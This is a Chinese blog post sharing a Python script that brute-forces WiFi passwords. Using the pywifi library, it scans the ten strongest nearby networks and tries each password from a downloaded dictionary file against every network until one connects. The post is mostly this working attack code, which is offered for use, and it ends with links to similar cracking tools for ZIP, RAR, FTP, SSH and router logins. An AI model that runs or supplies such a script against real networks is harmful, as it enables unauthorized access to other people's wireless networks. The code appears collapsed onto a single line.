python WiFi暴力破解小程序
2018-01-25 10:13
591 查看
思路:
1、扫描前十个信号最好的wifi,得到ssid
2、然后用一个密码,遍历所有ssid,尝试能否连接上3、密码正确连接上后,会报错退出程序,否则会一直运行下去
4、本脚本没有优化,运行时可能有bug
5、时间大概是2~3秒扫描一个ssid,根据计算机的不同可以修改,但是时间间隔太短会出错,比如正确的密码却因时间太短认为是错误的。
本博客是学习 分分钟搞定python破解无线wifi 这篇博客然后根据自己的需求扩充改写的,大家可以学习这位大神的博客。
运行时的现象:
图一:此处应该有一副图片
# coding:utf-8 import time #时间 import pywifi #破解wifi from pywifi import const #引用一些定义 from asyncio.tasks import sleep class PoJie(): def __init__(self,path): self.file=open(path,"r",errors="ignore") wifi = pywifi.PyWiFi() #抓取网卡接口 self.iface = wifi.interfaces()[0]#抓取第一个无限网卡 self.iface.disconnect() #测试链接断开所有链接 time.sleep(1) #休眠1秒 self.list=self.initialssidnamelist() # 测试网卡是否属于断开状态, assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def bies(self): self.iface.scan() # 扫描 bessis = self.iface.scan_results() list = [] for data in bessis: list.append((data.ssid, data.signal)) return len(list), sorted(list, key=lambda st: st[1], reverse=True) def getsignal(self): while True: n, data = self.bies() time.sleep(1) if n is not 0: return data[0:10] def initialssidnamelist(self): ssidlist = self.getsignal() namelist = [] for item in ssidlist: namelist.append(item[0]) return namelist def readPassWord(self,ssidname,myStr): bool1=self.test_connect(myStr,ssidname) if len(myStr)<8: return False if bool1: print("密码+++++++++++++正确:"+myStr+" "+ssidname) return True else: print("密码错误:"+myStr+" "+ssidname) return False def test_connect(self,findStr,ssidname):#测试链接 profile = pywifi.Profile() #创建wifi链接文件 profile.ssid =ssidname #wifi名称 # profile.ssid ="Netcore" #wifi名称 profile.auth = const.AUTH_ALG_OPEN #网卡的开放, profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 profile.key = findStr #密码 self.iface.remove_all_network_profiles() #删除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件 self.iface.connect(tmp_profile)#链接 time.sleep(2) if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 isOK=True else: isOK=False self.iface.disconnect() #断开 time.sleep(1) #检查断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK def run(self): while True: myStr = self.file.readline() for ssidname in self.list: ret=self.readPassWord(ssidname,myStr) if ret: raise FileExistsError def __del__(self): self.file.close()
path=r"G:\DownLoad\6000常用密码字典.txt" start=PoJie(path) start.run()
相关文章推荐
- 如何用Python写一个暴力破解加密压缩包的程序
- python编写暴力破解zip文档程序
- Python 暴力破解武汉大学图书馆密码程序
- MD5暴力破解程序(python)
- python编写暴力破解zip文档程序的实例讲解
- Wifi密码破解1:通过字典(暴力)破解WIFI密码
- 利用python打造自己的ftp暴力破解工具
- Python暴力破解rar压缩包
- Python FTP暴力破解工具多线程版
- [来点干货][这不是练习]数据库密码暴力破解程序
- python实现多线程暴力破解登陆路由器功能代码分享
- 暴力破解密码模拟程序,模拟暴力破译密码实现程序代码
- Python之暴力破解SSH
- Violent Python Pxssh暴力破解
- Kali Linux 暴力破解 wifi密码
- python实现多线程暴力破解登陆路由器功能代码分享
- 【Python】HackBack(获取暴力破解服务器密码的IP来源)
- SSH暴力破解之Python-pxssh实现
- 利用python打造自己的ftp暴力破解工具
- Python--Python尝试破解wifi无线密码